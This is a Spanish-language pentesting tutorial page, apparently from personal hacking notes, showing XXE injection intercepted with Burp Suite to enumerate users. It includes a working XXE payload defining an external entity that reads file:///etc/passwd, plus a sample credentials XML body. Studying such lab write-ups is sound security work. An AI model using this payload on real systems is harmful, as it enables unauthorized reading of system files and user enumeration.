> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md).

# Enumeración de usuarios con XXE

## XXE (Inyección de entidades externas XML):

<figure><img src="/files/b89bec50be9d76f3695a185ff1c4ead462af82ee" alt=""><figcaption></figcaption></figure>

#### Análisis del código fuente (estructura XML) interceptado con Burp Suite

<figure><img src="/files/b108f09638e3c68143b7cd6d2b1efe830a6cbde2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fcdab99b96fbc3bef1899d559577c365ab7e7a32" alt=""><figcaption></figcaption></figure>

#### Intento de ataque XXE (inyección de entidades externas XML)

* Modificación del método de la solicitud de GET a POST.

<figure><img src="/files/9696ea68c962451387b2a96c4e46d3a018e3fc1d" alt=""><figcaption></figcaption></figure>

* Prueba de inyección de un modelo de impresora XXE en la solicitud POST.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Observación de la forma en que el servidor interpreta el modelo de impresora XXE.

<figure><img src="/files/799cd00de4ffe347b0e3ffaeeea320f26a2b407a" alt=""><figcaption></figcaption></figure>

* Para acceder al sistema de archivos, debemos crear una nueva **entidad**, por ejemplo, "myFile", de la siguiente manera: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` Entonces, en una variable, debemos publicar el resultado con "**/\&myFile**" así:

<figure><img src="/files/108c7ff95defe837dc9c84b459d16396cff8a96b" alt=""><figcaption></figcaption></figure>

#### Identificación de un usuario "ftpUserULTRA

<figure><img src="/files/745137b6360d9e100a912365d5fd54dcc6084524" alt=""><figcaption></figcaption></figure>


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